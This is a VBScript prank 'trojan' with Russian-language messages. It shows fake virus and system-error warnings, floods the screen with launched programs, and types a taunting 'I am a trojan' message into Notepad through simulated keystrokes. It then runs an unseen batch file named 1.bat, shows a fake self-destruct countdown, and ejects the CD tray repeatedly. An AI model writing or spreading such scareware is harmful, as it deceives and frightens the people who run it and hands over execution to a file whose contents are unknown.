WScript.Sleep 1
on error resume next
set t=createobject("Wscript.Shell")
msgbox"Неполадка системы",16,"Error"
msgbox"Вы заражены вирусом trojan.win32.generic",48,"Windows"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"explorer"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"help"
t.run"calc.exe"
t.run"notepad.exe"
t.run"telnet"
t.run"help"
t.run"help"
msgbox"Сбой системы.",16,"Windows"
t.run"help"
t.run"help"
t.run"help"
Set t = CreateObject("Wscript.Shell")
t.run"notepad.exe"
Set Men = FSO.CreateTextFile("C:\1.TXT", 8, True) 
Set s = CreateObject("Wscript.Shell")
wscript.sleep 150
s.sendkeys"{з}"
wscript.sleep 150
s.sendkeys"{д}"
wscript.sleep 150
s.sendkeys"{р}"
wscript.sleep 150
s.sendkeys"{с}"
wscript.sleep 150
s.sendkeys"{т}"
wscript.sleep 150
s.sendkeys"{и}"
wscript.sleep 150
s.sendkeys"{ }"
wscript.sleep 150
s.sendkeys"{м}"
wscript.sleep 150
s.sendkeys"{е}"
wscript.sleep 150
s.sendkeys"{н}"
wscript.sleep 150
s.sendkeys"{я}"
wscript.sleep 150
s.sendkeys"{ }"
wscript.sleep 150
s.sendkeys"{з}"
wscript.sleep 150
s.sendkeys"{о}"
wscript.sleep 150
s.sendkeys"{в}"
wscript.sleep 150
s.sendkeys"{у}"
wscript.sleep 150
s.sendkeys"{т}"
wscript.sleep 150
s.sendkeys"{ }"
wscript.sleep 150
s.sendkeys"{т}"
wscript.sleep 150
s.sendkeys"{р}"
wscript.sleep 150
s.sendkeys"{о}"
wscript.sleep 150
s.sendkeys"{я}"
wscript.sleep 150
s.sendkeys"{н}"
wscript.sleep 150
s.sendkeys"{.}"
wscript.sleep 150
s.sendkeys"{ }"
wscript.sleep 150
s.sendkeys"{я}"
wscript.sleep 150
s.sendkeys"{ }"

wscript.sleep 150
s.sendkeys"{б}"
wscript.sleep 150
s.sendkeys"{ы}"
wscript.sleep 150
s.sendkeys"{ }"

wscript.sleep 150
s.sendkeys"{х}"


wscript.sleep 150
s.sendkeys"{о}"
wscript.sleep 150
s.sendkeys"{т}"
wscript.sleep 150
s.sendkeys"{е}"
wscript.sleep 150

s.sendkeys"{л}"
wscript.sleep 150
s.sendkeys"{ }"
wscript.sleep 150
s.sendkeys"{у}"
wscript.sleep 150
s.sendkeys"{н}"
wscript.sleep 150
s.sendkeys"{и}"
wscript.sleep 150
s.sendkeys"{ч}"
wscript.sleep 150
s.sendkeys"{т}"
wscript.sleep 150
s.sendkeys"{о}"
wscript.sleep 150
s.sendkeys"{ж}"
wscript.sleep 150
s.sendkeys"{и}"
wscript.sleep 150
s.sendkeys"{т}"
wscript.sleep 150
s.sendkeys"{ь}"
wscript.sleep 150
s.sendkeys"{ }"
wscript.sleep 150
s.sendkeys"{в}"
wscript.sleep 150
s.sendkeys"{а}"
wscript.sleep 150
s.sendkeys"{ш}"
wscript.sleep 150
s.sendkeys"{ }"
wscript.sleep 150
s.sendkeys"{к}"
wscript.sleep 150
s.sendkeys"{о}"
wscript.sleep 150
s.sendkeys"{м}"
wscript.sleep 150
s.sendkeys"{п}"
wscript.sleep 150
s.sendkeys"{ }"
wscript.sleep 150
s.sendkeys"{х}"
wscript.sleep 150
s.sendkeys"{и}"
wscript.sleep 150
s.sendkeys"{-}"
wscript.sleep 150
s.sendkeys"{х}"
wscript.sleep 150
s.sendkeys"{и}"
wscript.sleep 150
s.sendkeys"{.}"
wscript.sleep 150
s.sendkeys"{ }"
wscript.sleep 150
s.sendkeys"{ч}"
wscript.sleep 150
s.sendkeys"{е}"
wscript.sleep 150
s.sendkeys"{р}"
wscript.sleep 150
s.sendkeys"{е}"
wscript.sleep 150
s.sendkeys"{з}"
wscript.sleep 150
s.sendkeys"{ }"
wscript.sleep 150
s.sendkeys"{н}"

wscript.sleep 150
s.sendkeys"{е}"

wscript.sleep 150
s.sendkeys"{с}"

wscript.sleep 150
s.sendkeys"{к}"

wscript.sleep 150
s.sendkeys"{о}"

wscript.sleep 150
s.sendkeys"{л}"

wscript.sleep 150
s.sendkeys"{ь}"
wscript.sleep 150
s.sendkeys"{к}"
wscript.sleep 150
s.sendkeys"{о}"
wscript.sleep 150
s.sendkeys"{ }"
wscript.sleep 150
s.sendkeys"{м}"
wscript.sleep 150
s.sendkeys"{и}"
wscript.sleep 150
s.sendkeys"{н}"
wscript.sleep 150
s.sendkeys"{у}"
wscript.sleep 150
s.sendkeys"{т}"
wscript.sleep 150
s.sendkeys"{ }"
wscript.sleep 150
s.sendkeys"{в}"
wscript.sleep 150
s.sendkeys"{а}"
wscript.sleep 150
s.sendkeys"{ш}"
wscript.sleep 150
s.sendkeys"{ }"
wscript.sleep 150
s.sendkeys"{к}"
wscript.sleep 150
s.sendkeys"{о}"
wscript.sleep 150
s.sendkeys"{м}"
wscript.sleep 150
s.sendkeys"{п}"
wscript.sleep 150
s.sendkeys"{ }"
wscript.sleep 150
s.sendkeys"{с}"
wscript.sleep 150
s.sendkeys"{а}"
wscript.sleep 150
s.sendkeys"{м}"
wscript.sleep 150
s.sendkeys"{о}"
wscript.sleep 150
s.sendkeys"{у}"
wscript.sleep 150
s.sendkeys"{н}"
wscript.sleep 150
s.sendkeys"{и}"
wscript.sleep 150
s.sendkeys"{ч}"
wscript.sleep 150
s.sendkeys"{т}"
wscript.sleep 150
s.sendkeys"{о}"
wscript.sleep 150
s.sendkeys"{ж}"
wscript.sleep 150
s.sendkeys"{и}"
wscript.sleep 150
s.sendkeys"{т}"
wscript.sleep 150
s.sendkeys"{с}"
wscript.sleep 150
s.sendkeys"{я}"

wscript.sleep 150
s.sendkeys"{!}"
a = MsgBox("Произвести самоуничтожение компа?",4,"Trojan")

If a = 6 then

else 
end if


t.run"1.bat" 
MsgBox "Ваш компьютер самоуничтожится через 15 секунд", 48 , "Error"
MsgBox "Ваш компьютер самоуничтожится через 14 секунд", 48 , "Error"
MsgBox "Ваш компьютер самоуничтожится через 13 секунд", 48, "Error"
MsgBox "Ваш компьютер самоуничтожится через 12 секунд", 48, "Error"
MsgBox "Ваш компьютер самоуничтожится через 11 секунд", 48, "Error"
MsgBox "Ваш компьютер самоуничтожится через 10 секунд", 48, "Error"
MsgBox "Ваш компьютер самоуничтожится через 9 секунд", 48, "Error"
MsgBox "Ваш компьютер самоуничтожится через 8 секунд", 48, "Error"
MsgBox "Ваш компьютер самоуничтожится через 7 секунд", 48, "Error"
MsgBox "Ваш компьютер самоуничтожится через 6 секунд", 48, "Error"
MsgBox "Ваш компьютер самоуничтожится через 5 секунд", 48, "Error"
MsgBox "Ваш компьютер самоуничтожится через 4 секунд", 48, "Error"
MsgBox "Ваш компьютер самоуничтожится через 3 секунд", 48, "Error"
MsgBox "Ваш компьютер самоуничтожится через 2 секунд", 48, "Error"
MsgBox "Ваш компьютер самоуничтожится через 1 секунд", 48, "Error"
msgbox "Самоуничтожение не избежно", 48, "Error"

Set WMPlayer = CreateObject("WMPlayer.OCX.7")

WMPlayer.CdRomCollection.Item(0).Eject()
WMPlayer.CdRomCollection.Item(0).Eject()
WMPlayer.CdRomCollection.Item(0).Eject()
WMPlayer.CdRomCollection.Item(0).Eject()
WMPlayer.CdRomCollection.Item(0).Eject()
WMPlayer.CdRomCollection.Item(0).Eject()
WMPlayer.CdRomCollection.Item(0).Eject()
WMPlayer.CdRomCollection.Item(0).Eject()
WMPlayer.CdRomCollection.Item(0).Eject()
WMPlayer.CdRomCollection.Item(0).Eject()
WMPlayer.CdRomCollection.Item(0).Eject()